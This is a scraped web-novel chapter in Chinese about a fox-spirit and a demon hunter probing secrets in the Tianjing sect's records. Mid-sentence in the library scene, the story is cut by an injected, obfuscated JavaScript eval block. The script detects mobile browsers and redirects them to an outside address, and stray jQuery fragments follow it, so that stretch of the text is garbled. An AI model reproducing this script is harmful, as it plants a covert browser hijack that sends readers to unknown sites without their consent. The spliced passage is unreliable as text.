27. 天净宗疑云

作品:《白月光走后,她活成了月光

    青辞走到耿星面前,“耿星?”


    “青辞姑娘,好久不见!”他礼貌地笑了笑。


    “上次是你将鸟妖带回来的,那鸟妖现在被关押在那里,可否带我去看看?”


    耿星一脸为难的样子,面上有些窘迫,“青辞姑娘你是妖身,那地牢里全是对抗妖的符咒,这恐怕……会有些不便。”


    青辞沉思片刻,也是,这里毕竟是捉妖门派。


    “那师弟,你带我去看看鸟妖吧。”林见鹤的声音从身后传来。


    “师兄?”他的眼神看向青辞背后。


    “可以。”说着,林见鹤和耿星就向着地牢的方向走去。


    “不可!”采苓站出来,赶紧放下手中的鱼汤,向这边快步走来。


    沈千溪目光有些呆滞,静静看着几人,想要拦住采苓,却也没拦住。


    采苓的发带滑过沈千溪纤细的手指。


    林见鹤声音里带着疑惑,“师妹,怎么了?”


    “是啊,师妹,你这么着急做什么?”耿星也有些不解。


    采苓喘了两下,“昨日里那狐妖法术高强,我和师姐费了九牛二虎之力才将她擒住,并且加固了地牢的法术,至少要等到三日之后,法术已经牢固,若是此时强行打开,那便会功亏一篑啊!”


    “原来是这样。”林见鹤感叹道,“先前竟不知有这种法术。”


    采苓娓娓道来,“这是先前师傅留下的秘法呢,你当然不知晓。”她看向一旁的沈千溪。


    沈千溪只是静静站着,仿若仙人之姿,察觉到采苓炽热的目光,她温柔地冲采苓笑笑,那笑容,仿若雨后朝露。


    青辞心中疑惑,“那柳随风呢?怎么不见他?”


    采苓缓缓道来,“这不是昨日里被妖抓走了,吓得昏了过去,看样子是要歇上两天,所以师姐才让你们在此休整两日啊。”


    青辞半解半疑地点点头。


    身边传来一阵温和的声音,只见沈千溪缓缓张口,她用温暖的目光看向青辞,“若是觉得无聊,可以随处转转。”


    “多谢掌门。”


    “随意便好。”说完,沈千溪转身走向别处了。


    林见鹤与沈千溪坐在堂中谈话。


    “当年你下山游历,降妖除魔,这一走便是三年。”沈千溪淡淡道,抿了一口热茶。


    “是啊师姐,真是岁月如梭,我不在的这些时日,门中可发生了什么大事吗?”


    她的眸光望向远方,无喜无嗔,寂静沉思片刻,“无甚要紧事,这些时日,采苓功法大有长进,她也解决了不少麻烦事。”


    “那兰青呢?这次我回来,怎么没有看见她呢?”林见鹤淡淡抿了一口茶,茶香清冽,沁人心脾。


    兰青,是她曾经收留的一只兔妖。


    “兰青?”她微微蹙眉,沉默片刻,好似在思索。“她……”


    采苓走了进来,带着明媚的笑意,走到了沈千溪身边,为她的茶杯中倒了些茶水,“师姐,你忘啦?兰青说想念她的亲人,几天前回家探望亲人去了啊。”


    沈千溪深深呼出一口气,迟疑片刻,随后恍然大悟,“噢,对!”她用手扶住自己的额头,嘴角勾起自嘲的浅笑,“哎,我这脑袋啊,最近老是忘事儿。”


    林见鹤行了个礼,而后退出去,“师姐,你好生休息。”


    沈千溪摆了摆手,眼神迷离,好似此刻还在睡梦之中,半梦半醒,“嗯,去吧。”


    “师妹,你来一下。”林见鹤将采苓叫了出去。


    林见鹤眉梢蹙起,黑色的眸子眯起了半分,睫毛轻颤,“你可知……兰青被收养时说她并无亲人,只是被遗弃的孤儿?”


    采苓思忖片刻,下定决心开口,却被林见鹤的话堵了回去。


    “为何这般说辞?可是有什么隐情?”


    采苓眼眸低垂,眼神躲闪,眉峰蹙起,薄唇轻抿,指尖揉搓着衣裙的布料,声音稍快稍轻,“其实……兰青她……”她深吸一口气,“几个月前,兰青收到了家里人的书信,她当时很开心,直接就按信上的位置找寻亲人,结果……”她的眼里蒙上了一层湿湿的薄雾,“那竟是猎妖人的圈套!”


    眼看豆大的泪珠就要坠下,她抬手拭泪,唇瓣抿紧,“我不忍师姐伤心,便一直瞒着她。”


    “竟是如此。师妹,节哀。”林见鹤叹了口气,拍了拍采苓的肩膀,默默地走到了一边。


    他边走边默默想着刚刚的话,突然觉得有些不对劲,眉头在不知不觉间蹙起。


    猎妖人怎会来此?这里明明已经有了天净宗,而且,师姐和采苓的说辞怎么一会几天一会几个月的?


    大师姐一向通透聪慧,怎么没发现异常?


    难道是最近总是记性不好,是琐事缠身所导致的,却又不愿讲与我听,所以才无暇顾及?


    这天净宗里倒是别有一番风致,小桥流水,建筑古色古香。


    青辞一边在院子里散步,一边看向四周,最终停留在一处精致的小屋前,上面挂着木制的牌子,上面写着“藏经阁”三个字。


    她迈着闲散的步子,随意拿起周边的简册,随意翻看着。


    走上木制的竹梯,地板被擦得很亮,能映出上面的倒影。


    一本简册上写着“山门纪事”四个字,吸引了她的目光,她慢慢打开,展在手上,仔细阅读。


    上面写道,“第一任掌门齐衡安,于栖梧山上,建立天净宗,偶得川脉石,灵气充盈,奉为山门至宝。因妖邪作乱,祸事横生,建此宗以为黎民百姓除害。”


    “宗法规定,妖邪者,流毒苍生,恶事做尽,门内弟子若遇之,格杀勿论,此为民除害也。”


    她眉头紧蹙,翻到了后面,“第三任掌门柳权载,盖人分善恶,妖亦如此,前代所为,盖极致也。吾于此修宗法,除尽恶妖,教化善妖,万物苍生,同一等也,无绝对奸恶之说。”


    ……


    “第四任掌门沈千溪载,四月五日,……”


    “七月九日,闻有妖以山神自居,霍乱民生,采苓请命,后耿星相辅,二人下山除妖,终擒得鸟妖。”


    没了?最后两次记事竟隔了三个月之久,前面从未有过,难道是妖都捉尽了?既已发现,为什么不接着动用整个宗门力量去捉拿鸟妖呢?


    采苓竟然七月就下山了,九月才与我们碰面!


    前面掌


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314744|197444||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    门都对妖带有偏见,在第三任这儿转变了看法,距今不久,难怪林见鹤会如此。


    青辞看得走神,阳光从窗子里洒进来,柔和的光洒在她的脸庞上,映得发丝熠熠生辉,散发着光亮。


    她又向一边走去,旁边放着,一个木盒,盒子贴着一张纸条,上面写着“世神记”。


    青辞小心翼翼打开,竹简已然破损不少,看来已经有很多年了。


    她不断在竹简里面翻找,终于在一卷上的题签上看到了五个字——伽因神女篇。


    她慢慢展开在手上,边向上走边看着,上面写道:


    “神族自两万年前便已陨落,自此之后,成神者,唯此一人。”


    “伽因神女,名唤羲云,本为仙族,少时苦修,终不得成神之道。”


    “于凡间游历千年,广结善缘,乐善好施,劫富济贫,终功德圆满,羽化成神。”


    “然北有恶妖,名唤玄烬,残杀虐人,使生灵涂炭,民不聊生,神女感其苦,与恶妖同归于尽也。”


    “或曰,神女并未身故,今亦隐于世间,化作一小民也。”


    青辞的嘴角不知不觉间扬起一丝微小的弧度。


    若是真的这样就好了。


    她用手摸了摸发丝,将头上的那把玉簪拿了下来,仔细打量,用手轻轻抚摸着上面的玉兰花,雕刻精美细致,她看的有些出神了。


    “青辞?”林见鹤的声音从身后传来,他语气中带着些许不解,“你怎么会在这里?”


    她用法术将简册随意放进盒子里,并未看他,“掌门说,我若是觉得无聊,可以到处转转。”


    林见鹤走上前来,看着那个盒子和刚刚放下的简册,嘴里喃喃道,“羲云神女篇?”


    林见鹤不由得疑惑,“难道真像有些人说得那样,羲云神女并未身故?你曾经向我提起过神女,难不成,还有神族存于世间?”


    青辞眼角微挑,轻轻抬眼,沿着楼梯轻轻向上走,她垂眸看着林见鹤,“林天师,还是好好想想案情吧,现在不是说这些的时候。”


    林见鹤只是沉默片刻,之后声音沉着冷静,像是在质问,“你来天净宗不是为了查案,是么?”


    青辞脚步一顿,随后嘴角扬起,“我早就知道,你会这样问我,但这是那狐妖引我们来的,并非是我有意为之。”


    林见鹤攥紧拳头,想说什么,但终究没有说出口。


    她轻轻抬手,感受着阳光的感觉。“人分善恶,妖亦如此,林天师,莫要过于执着了。”


    像是被戳中了某种痛处,也像是有一滴雨水滴在心间,林见鹤久久沉默伫立。


    他走上台阶,找到了刚刚那本“山门纪事”,却发现它放的并不规整。


    他眼尾轻抬,“我正想来看看,你已经看了《山门纪事》?可有不妥之处?”


    青辞转过身来,背逆着光亮,“我想,你们宗门里的事,你应当比我更清楚。”


    “正是心有疑窦,这才来寻找答案。”他慢慢展开了简册,放在手上仔细看着。


    看了有一会儿,他皱起了眉头,嘴角不自觉向下撇去。


    怎么会少了两个月的空档?